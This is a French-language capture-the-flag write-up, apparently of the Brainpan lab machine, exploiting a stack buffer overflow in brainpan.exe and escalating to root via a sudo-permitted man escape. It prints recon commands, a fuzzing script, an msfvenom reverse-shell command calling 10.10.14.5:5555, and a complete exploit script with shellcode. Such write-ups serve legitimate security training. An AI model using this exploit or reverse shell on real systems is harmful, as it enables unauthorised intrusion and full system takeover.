Reconnaissance et Extraction du Binaire
L'objectif de cette analyse est d'identifier et d'exploiter une vulnérabilité de dépassement de tampon (buffer overflow) sur un exécutable personnalisé, puis d'obtenir les privilèges root sur le système hôte Linux. La première étape consiste à cartographier la surface d'attaque.
nmap -sV -sC -p- --min-rate 1000 10.10.55.12
gobuster dir -u http://10.10.55.12:10000/ -w /opt/wordlists/directory-list.txt -t 50
L'exploration des répertoires révèle un dossier /bin/ hébergeant un fichier nommé brainpan.exe. Ce binaire est téléchargé localement pour une analyse statique et dynamique dans un environnement isolé.
Analyse Locale et Débogage
Pour analyser le binaire Windows, nous le transférons vers une machine virtuelle Windows dédiée au débogage. Un serveur HTTP temporaire est levé sur la machine attaquante pour faciliter le transfert.
python3 -m http.server 8080
Une fois le binaire récupéré et exécuté, il s'écoute sur le port 9999. Nous configurons ensuite l'environnement de débogage avec Immunity Debugger et le plugin Mona pour structurer nos fichiers de travail :
!mona config -set workingfolder c:\debug_logs\%p
Fuzzing et Identification du Point de Rupture
Un script de fuzzing est déployé pour déterminer la charge nécessaire pour faire planter l'application et corrompre la mémoire.
import socket
TARGET_HOST = "192.168.50.10"
TARGET_PORT = 9999
def send_fuzz_payload(size):
payload = b"A" * size
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((TARGET_HOST, TARGET_PORT))
sock.send(payload + b"\r\n")
send_fuzz_payload(1200)
L'application plante lors de l'envoi de 1200 octets. Pour localiser précisément le registre EIP, nous générons un motif cyclique unique.
msf-pattern_create -l 1200
Après avoir injecté ce motif et observé la valeur de l'EIP lors du crash, nous calculons le décalage exact :
msf-pattern_offset -l 1200 -q 35724134
Le décalage est confirmé à 524 octets. Cela signifie que les 4 octets suivant les 524 premiers octets écraseront directement le registre EIP.
Contrôle de l'EIP et Identification des Caractères Interdits
Nous vérifions le contrôle de l'EIP en injectant 524 octets de bourrage suivis de 4 octets de contrôle. Ensuite, nous générons un tableau d'octets pour identifier les caractères interdits (bad characters) qui pourraient tronquer notre charge utile.
!mona bytearray -b "\x00"
Un script Python est utilisé pour générer la séquence d'octets complète à injecter :
bad_char_test = bytes(range(1, 256))
print(bad_char_test.hex())
Après l'injection et l'analyse comparative avec Mona, seul le caractère nul (\x00) est identifié comme caractère interdit.
!mona compare -f C:\debug_logs\brainpan\bytearray.bin -a [adresse_esp]
Redirection du Flux d'Exécution
Pour rediriger l'exécution vers notre shellcode, nous recherchons une instruction JMP ESP dans les modules chargés, en excluant les caractères interdits.
!mona jmp -r esp -cpb "\x00"
L'adresse 0x311712f3 est sélectionnée. En raison de l'architecture little-endian, elle sera intégrée dans l'exploit sous la forme \xf3\x12\x17\x31.
Génération de la Charge Utile et Exploitation Finale
Nous générons un reverse shell Linux, en nous assurant d'exclure le caractère nul et en spécifiant le format de sortie pour une intégration directe dans notre script.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=5555 -b '\x00' -f python -v shellcode_bytes
Le script d'exploitation final est assemblé en intégrant le décalage, l'adresse de saut, un NOP sled pour la stabilité, et la charge utile générée.
import socket
import sys
TARGET_IP = "10.10.55.12"
TARGET_PORT = 9999
EIP_OFFSET = 524
JMP_ESP = b"\xf3\x12\x17\x31"
NOP_SLED = b"\x90" * 20
shellcode_bytes = b""
shellcode_bytes += b"\xbd\x24\x36\x43\xdf\xdd\xc6\xd9\x74\x24\xf4"
shellcode_bytes += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x68\x0e"
shellcode_bytes += b"\x03\x4c\x38\xa1\x2a\xbd\x9f\xd2\x36\xee\x5c"
shellcode_bytes += b"\x4e\xd3\x12\xea\x91\x93\x74\x21\xd1\x47\x21"
shellcode_bytes += b"\x09\xed\xaa\x51\x20\x6b\xcc\x39\xb9\x86\x3e"
shellcode_bytes += b"\x83\xd5\x9a\x3e\xe2\x79\x12\xdf\xb4\xe4\x74"
shellcode_bytes += b"\x71\xe7\x5b\x77\xf8\xe6\x51\xf8\xa8\x80\x07"
shellcode_bytes += b"\xd6\x3f\x38\xb0\x07\xef\xda\x29\xd1\x0c\x48"
shellcode_bytes += b"\xf9\x68\x33\xdc\xf6\xa7\x34"
final_payload = b"A" * EIP_OFFSET + JMP_ESP + NOP_SLED + shellcode_bytes
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.settimeout(5)
client_socket.connect((TARGET_IP, TARGET_PORT))
client_socket.send(final_payload + b"\r\n")
client_socket.close()
print("Exploit envoyé avec succès.")
except Exception as e:
print(f"Échec de la connexion : {e}")
sys.exit(1)
Un écouteur Netcat est configuré sur le port 5555 avant l'exécution du script, permettant d'obtenir une session shell initiale sur la cible.
Élévation de Privilèges
Une fois la session obtenue, le terminal est stabilisé pour permettre une interaction complète avec le système.
python3 -c 'import pty; pty.spawn("/bin/bash")'
L'analyse des droits sudo révèle qu'un binaire personnalisé peut être exécuté avec des privilèges élevés.
sudo -l
sudo /home/anansi/bin/anansi_util manual man
Le paramètre manual invoque la commande man du système. En se référant aux techniques d'évasion connues pour cette commande, nous pouvons échapper à l'environnement restreint. Dans l'interface de la page de manuel ouverte, la séquence suivante est saisie pour invoquer un shell root :
!/bin/bash